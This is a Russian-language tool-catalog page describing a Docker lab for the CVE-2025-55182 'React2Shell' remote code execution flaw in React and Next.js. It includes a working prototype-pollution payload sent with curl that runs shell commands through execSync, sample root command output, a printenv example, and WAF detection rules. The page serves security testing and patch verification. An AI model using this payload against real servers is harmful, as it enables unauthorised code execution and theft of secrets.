Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2025-55182-test-lab-windows — Docker-лаборатория для тестирования уязвимости CVE-2025-55182 (React2Shell) RCE в React 19.1.0/Next.js 15.1.0. Включает эксплойт-скрипты, тестирование обхода WAF с NGINX/ModSecurity и сравнение с исправленной версией для образовательных целей по безопасности. | Kitploit
Инструменты/GitHubGitHub/fankh/cve-2025-55182-test-lab-windows
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбход WAFCTFТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHubfankh/cve-2025-55182-test-lab-windows

cve-2025-55182-test-lab-windows

Docker-лаборатория для тестирования уязвимости CVE-2025-55182 (React2Shell) RCE в React 19.1.0/Next.js 15.1.0. Включает эксплойт-скрипты, тестирование обхода WAF с NGINX/ModSecurity и сравнение с исправленной версией для образовательных целей по безопасности.

Репозиторий
39 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182 (React2Shell) Тест

⚠️ Предупреждение: Содержит реально работающую уязвимость удаленного выполнения кода (RCE).

📋 Содержание

  • Обзор
  • Информация об уязвимости
  • Быстрый старт
  • Демонстрация атаки
  • Тестовая среда
  • Правила защиты WAF
  • Структура файлов
  • Ссылки
  • Юридическое уведомление

Обзор

Контейнерная тестовая среда для уязвимости CVE-2025-55182 (React2Shell).

Основные особенности

  • ✅ Воспроизведение реальной уязвимости - среда React 19.1.0 / Next.js 15.1.0
  • ✅ Успешная RCE-атака - подтверждено выполнение реальных команд
  • ✅ Тестирование защиты WAF - настройка правил NGINX и Apache ModSecurity
  • ✅ Сравнение версий - тестирование уязвимой версии vs исправленной
  • ✅ Полноценная Docker-среда - изолированная контейнерная среда
  • Результат атаки

    root@kitploit:~
    🔴 CRITICAL VULNERABILITY CONFIRMED!
       Successfully executed 6/7 commands
    
    Executed Commands:
      ✅ whoami: root
      ✅ hostname: c89f1bd355b2
      ✅ pwd: /app
      ✅ id: uid=0(root) gid=0(root) groups=0(root)...
      ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
      ✅ node-ver: v20.19.6
    

    Информация об уязвимости

    CVE-2025-55182 (React2Shell)

    Оценка CVSS: 10.0 (CRITICAL)
    Влияние: удаленное выполнение кода (RCE)
    Требование аутентификации: нет
    Вектор атаки: сеть

    Уязвимые версии

    • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
    • Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

    Исправленные версии

    • React: 19.1.2+
    • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

    Принцип атаки

    1. Prototype Pollution - загрязнение прототипа через $1:__proto__:then
    2. Доступ к конструктору функций - через десериализацию Blob (префикс $B)
    3. Выполнение произвольного кода - создание функции с кодом, контролируемым атакующим
    4. Выполнение системных команд - RCE через child_process
    root@kitploit:~
    // Структура полезной нагрузки атаки
    {
      "then": "$1:__proto__:then",           // Загрязнение Object.prototype.then
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',            // Триггер десериализации Blob
      "_response": {
        "_prefix": "вредоносный_код",         // Выполняемый код
        "_formData": {
          "get": "$1:constructor:constructor"  // Доступ к конструктору функции
        }
      }
    }
    

    Быстрый старт

    Предварительные требования

    • Docker Desktop
    • Node.js 20+ (для локального тестирования, опционально)
    • Минимум 4 ГБ ОЗУ
    • Свободное место на диске от 2 ГБ

    Шаг 1: Запуск среды

    Windows (PowerShell):

    root@kitploit:~
    PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
    

    Шаг 2: Проверка состояния

    root@kitploit:~
    .\run-tests.ps1 status
    

    Необходимо дождаться статуса healthy для всех контейнеров (занимает около 1-2 минут).

    Шаг 3: Выполнение атаки

    Windows (PowerShell):

    root@kitploit:~
    # Способ 1: использование PowerShell-скрипта (рекомендуется)
    .\tests\exploit-working.ps1
    
    # Способ 2: прямой запуск Node.js
    node tests\exploit-working.js
    
    ### Шаг 4: Проверка результатов
    
    Результаты выполнения команд можно увидеть в логах сервера:
    
    ```bash
    docker compose logs vulnerable-app --tail=20
    

    Демонстрация атаки

    Автоматизированный скрипт атаки

    exploit-working.js ⭐ Рекомендуется

    Windows:

    root@kitploit:~
    # PowerShell-скрипт (рекомендуется)
    .\tests\exploit-working.ps1
    
    # Или прямой запуск Node.js
    node tests\exploit-working.js
    

    Выполняемые действия:

    • ✅ Выполнение произвольных команд оболочки
    • ✅ Захват вывода команд из логов сервера
    • ✅ Автоматическое тестирование нескольких команд
    • ✅ Подробный отчет об уязвимости

    Тестируемые команды:

    • whoami - текущий пользователь (root)
    • hostname - имя хоста контейнера
    • pwd - рабочая директория (/app)
    • id - полная информация о пользователе
    • uname -a - информация о системе
    • node --version - версия Node.js

    Ручная атака

    Прямая атака с помощью curl

    root@kitploit:~
    # Создание файла с полезной нагрузкой
    cat > payload.txt << 'EOF'
    ------WebKitFormBoundary123
    Content-Disposition: form-data; name="0"
    
    {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
    ------WebKitFormBoundary123
    Content-Disposition: form-data; name="1"
    
    "$@0"
    ------WebKitFormBoundary123--
    EOF
    
    # Отправка атаки
    curl -X POST http://localhost:3000/ \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
      -H "Next-Action: exploit" \
      --data-binary @payload.txt
    
    # Проверка выполнения в логах
    docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
    

    Выполнение пользовательских команд

    Вы можете изменить скрипт атаки для выполнения нужных команд:

    root@kitploit:~
    // В файле exploit-working.js:
    const tests = [
      { name: 'custom', cmd: 'ls -la /app', desc: 'Список директории приложения' },
      { name: 'env', cmd: 'printenv', desc: 'Вывод переменных окружения' }
    ]
    

    Тестовая среда

    Docker-контейнеры

    ПортСервисВерсия ReactНазначениеСтатус WAF
    3000vulnerable-app19.1.0Уязвимый - тестирование CVE-2025-55182❌ Без защиты
    3001patched-app19.1.2Безопасный - проверка исправления✅ Исправлен
    8080nginx → vulnerable19.1.0Тестирование WAF (NGINX)⚠️ Ограниченно (тело не проверяется)
    8081apache → vulnerable19.1.0Тестирование WAF (ModSecurity)⚠️ Ограниченно (ответ 405)
    8082nginx → patched19.1.2Тестирование двойной защиты✅ Исправлен

    Среда приложения

    • Фреймворк: Next.js 15.1.0 (App Router)
    • Версия React: 19.1.0 (уязвимая)
    • Node.js: 20.19.6

    Сценарии тестирования

    Сценарий 1: Атака на уязвимую версию

    root@kitploit:~
    # Запуск работающей атаки
    node tests/exploit-working.js
    
    # Ожидаемый результат: успешное выполнение команд
    # Вывод: информация о пользователе, детали системы и т.д.
    

    Сценарий 2: Тестирование исправленной версии

    Windows (PowerShell):

    root@kitploit:~
    # Использование PowerShell-скрипта
    .\tests\exploit-working.ps1 -Port 3001
    

    Ожидаемый результат: атака не удалась (React 19.1.2 блокирует атаку)

    Сценарий 3: Тестирование блокировки WAF

    Windows (PowerShell):

    root@kitploit:~
    # Попытка атаки через NGINX WAF
    .\tests\exploit-working.ps1 -Port 8080
    

    Ожидаемый результат: заблокировано правилами WAF


    Правила защиты WAF

    Правила защиты NGINX

    Расположение: nginx/nginx.conf

    Шаблоны обнаружения:

    1. Prototype Pollution - __proto__, constructor:constructor
    2. Эксплуатация Flight Protocol - ссылки $X:__proto__, $B
    3. Gadget Chain - child_process, execSync, require()
    4. Обход через URL-кодирование - %5f%5fproto%5f%5f
    5. Подозрительные заголовки - Next-Action: #constructor

    Действие при блокировке:

    root@kitploit:~
    HTTP 403 Forbidden
    {
      "error": "Request blocked by WAF",
      "protection": "CVE-2025-55182",
      "waf": "NGINX"
    }
    

    Правила Apache ModSecurity

    Расположение: apache/modsecurity-rules.conf

    Диапазон ID правил: 100001-100017

    Основные правила:

    • 100001: обнаружение __proto__
    • 100002: доступ к цепочке конструктора
    • 100003-100004: эксплуатация Flight Protocol
    • 100006-100007: шаблоны Gadget chain
    • 100008-100011: попытки RCE (child_process, exec, spawn, require)
    • 100015: подозрительные заголовки Next-Action
    • 100017: блокировка на основе аномального балла

    Тестирование WAF

    root@kitploit:~
    # Тест блокировки NGINX
    curl -X POST http://localhost:8080/ \
      -H "Content-Type: application/json" \
      -d '{"__proto__": {"polluted": true}}'
    
    # Ожидаемый ответ: HTTP 403
    
    # Тест блокировки ModSecurity
    curl -X POST http://localhost:8081/ \
      -H "Next-Action: test#constructor" \
      -d '{"data": "test"}'
    
    # Ожидаемый ответ: HTTP 403
    

    Просмотр логов WAF

    root@kitploit:~
    # Логи безопасности NGINX
    docker compose exec nginx tail -f /var/log/nginx/security.log
    
    # Логи аудита Apache ModSecurity
    docker compose exec apache tail -f /var/log/apache2/modsec_audit.log
    

    ⚠️ Ограничения WAF

    Важно: Текущая конфигурация WAF имеет следующие ограничения:

    NGINX (порт 8080)

    • ❌ Не проверяет тело запроса
    • Базовая конфигурация NGINX проверяет только URL, параметры запроса и заголовки
    • Полезная нагрузка эксплойта находится в теле multipart/form-data и не обнаруживается
    • Решение: необходим модуль lua-nginx-module или отдельное WAF-решение

    Apache ModSecurity (порт 8081)

    • ⚠️ Next.js отклоняет POST-запросы (405 Method Not Allowed)
    • ModSecurity включен и может проверять тело запроса
    • Но требуется заголовок Next-Action, который сам по себе не обеспечивает достаточной защиты
    • Текущее состояние: WAF возвращает ответ 405 до проверки тела

    Реальная защита от атак:

    • ✅ Самый эффективный способ: обновление React/Next.js до исправленной версии (порты 3001, 8082)
    • ⚠️ WAF обеспечивает лишь частичную защиту: ограничен против атак, требующих проверки тела

    Структура файлов

    root@kitploit:~
    cve-2025-55182-test-lab-windows/
    ├── README.md                           # README
    ├── docker-compose.yml                  # Конфигурация Docker-среды
    ├── run-tests.ps1                       # Скрипт запуска для Windows
    ├── run-tests.sh                        # Скрипт запуска для Linux/Mac
    │
    ├── vulnerable-app/                     # Приложение с уязвимой версией
    │   ├── Dockerfile
    │   ├── package.json                    # React 19.1.0, Next.js 15.1.0
    │   ├── next.config.js
    │   ├── app/
    │   │   ├── layout.js                   # Базовый макет
    │   │   ├── page.js                     # Главная страница
    │   │   └── api/
    │   │       └── health/                 # Эндпоинт проверки здоровья
    │   │           └── route.js
    │   └── tests/                          
    │
    ├── patched-app/                        # Приложение с исправленной версией
    │   ├── Dockerfile
    │   ├── package.json                    # React 19.1.2, Next.js 15.1.9
    │   ├── next.config.js
    │   └── app/
    │       ├── layout.js
    │       ├── page.js
    │       └── api/
    │           └── health/
    │               └── route.js
    │
    ├── tests/                              # Скрипты атак
    │   ├── exploit-working.js              # RCE-атака (Node.js)
    │   ├── exploit-working.ps1             # RCE-атака (PowerShell)
    │   └── exploit-working.cmd             # RCE-атака (пакетный файл)
    │
    ├── nginx/                              # Настройка NGINX WAF
    │   ├── nginx.conf                      # Правила блокировки CVE-2025-55182
    │   └── nginx-patched.conf              # Настройка прокси
    │
    └── apache/                             # Настройка Apache ModSecurity
        ├── Dockerfile
        ├── apache-config.conf
        └── modsecurity-rules.conf          # Правила блокировки ModSecurity
    

    Способы проверки атаки

    Способ 1: Проверка вывода скрипта

    Скрипт атаки отображает результаты напрямую:

    root@kitploit:~
    [whoami] Sending exploit...
      ✅ SUCCESS! Output: root
    

    Способ 2: Мониторинг логов сервера

    root@kitploit:~
    # Мониторинг логов в реальном времени
    docker compose logs -f vulnerable-app
    
    # Что нужно проверить:
    # [EXPLOIT] Executing: whoami
    # [RESULT] root
    

    Способ 3: Проверка индикаторов атаки

    root@kitploit:~
    # Проверка, была ли выполнена атака
    docker compose exec vulnerable-app ps aux | grep node
    
    # Проверка изменений в файловой системе (если файл был создан)
    docker compose exec vulnerable-app ls -la /tmp
    

    Меры по устранению

    Исправление через npm

    1. Обновление React - установка версии 19.1.2 или выше:

      root@kitploit:~
      npm install react@^19.1.2 react-dom@^19.1.2
      
    2. Обновление Next.js - установка версии 15.1.9 или выше:

      root@kitploit:~
      npm install next@^15.1.9
      
    3. Пересборка и повторное развертывание:

      root@kitploit:~
      npm run build
      # Развертывание в рабочей среде
      

    Проверка после исправления

    Windows (PowerShell):

    root@kitploit:~
    # Тестирование с исправленной версией
    .\tests\exploit-working.ps1 -Port 3001
    
    # Или
    $env:TARGET_PORT=3001; node tests\exploit-working.js
    

    Linux/Mac:

    root@kitploit:~
    # Тестирование с исправленной версией
    TARGET_PORT=3001 node tests/exploit-working.js
    

    Пример результата: ℹ️ Exploitation failed

    Меры безопасности при невозможности исправления

    1. Развертывание правил WAF - используйте правила NGINX/ModSecurity из этого проекта
    2. Сегментация сети - ограничение внешнего доступа
    3. Rate Limiting - применение ограничений к эндпоинтам Server Action
    4. Мониторинг логов - отслеживание попыток атаки в логах

    Docker-команды

    Управление средой

    root@kitploit:~
    # Запуск
    .\run-tests.ps1 start
    
    # Проверка состояния
    .\run-tests.ps1 status
    
    # Просмотр логов
    .\run-tests.ps1 logs
    
    # Остановка
    .\run-tests.ps1 stop
    
    # Сброс (удаление всех контейнеров и томов)
    .\run-tests.ps1 clean
    

    Устранение неполадок

    Если атака не работает

    Windows (PowerShell):

    root@kitploit:~
    # 1. Проверка версий
    docker compose exec vulnerable-app npm list react next
    
    # Должно отобразиться:
    # [email protected]
    # [email protected]
    
    # 2. Проверка ответа сервера
    curl http://localhost:3000
    
    # 3. Проверка логов Docker
    docker compose logs vulnerable-app --tail=50
    
    # 4. Перезапуск контейнера
    docker compose restart vulnerable-app
    

    Если не удается просмотреть выходные значения

    Windows (PowerShell):

    root@kitploit:~
    # Фильтрация логов в PowerShell
    docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"
    

    Docker Desktop не запущен (только Windows)

    Симптом ошибки:

    root@kitploit:~
    error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...
    

    Решение:

    1. Запустите Docker Desktop
    2. Убедитесь, что значок в трее зеленый
    3. Проверьте командой docker ps

    Невозможность выполнения PowerShell-скриптов (только Windows)

    Симптом ошибки:

    root@kitploit:~
    Невозможно выполнить сценарий в этой системе...
    

    Решение:

    root@kitploit:~
    # Применяется только к текущей сессии
    Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
    
    # Или прямой запуск
    PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1
    

    Ошибки прав доступа

    Убедитесь, что Docker запущен и у вас есть права:

    Все платформы:

    root@kitploit:~
    docker compose ps
    

    Конфликт портов

    Если другие приложения используют порты:

    Windows (PowerShell):

    root@kitploit:~
    # Проверка процесса, использующего порт
    netstat -ano | findstr :3000
    
    # Завершение процесса (после определения PID)
    taskkill /PID <PID> /F
    

    Все платформы (изменение docker-compose.yml):

    root@kitploit:~
    # Изменение портов для устранения конфликта
    services:
      vulnerable-app:
        ports:
          - "3010:3000"  # изменение с 3000 на 3010
    

    Если WAF не работает

    Все платформы:

    root@kitploit:~
    # Проверка конфигурации NGINX
    docker compose exec nginx nginx -t
    
    # Проверка конфигурации Apache
    docker compose exec apache apachectl configtest
    
    # Просмотр логов
    docker compose logs nginx --tail=30
    docker compose logs apache --tail=30
    

    Ссылки

    Официальные бюллетени безопасности

    • Бюллетень безопасности React
    • Краткое описание Vercel CVE-2025-55182
    • Бюллетень Next.js CVE-2025-66478
    • NVD - CVE-2025-55182

    Технический анализ

    • Datadog Security Labs - CVE-2025-55182
    • Блог Wiz - Критическая RCE в React
    • Анализ Palo Alto Unit42
    • Блог Kaspersky
    • Блог OX Security

    Proof of Concepts

    • msanft/CVE-2025-55182
    • dwisiswant0/CVE-2025-55182
    • EynaExp/CVE-2025-55182-POC
    • Spritualkb/CVE-2025-55182-exp
    • ejpir/CVE-2025-55182-research

    Лицензия

    Этот проект предоставляется в образовательных целях и для исследований в области безопасности.

    Ограничения использования:

    • Использовать только для авторизованных тестов безопасности
    • Запрещается модифицировать для вредоносных целей

    Скачать инструмент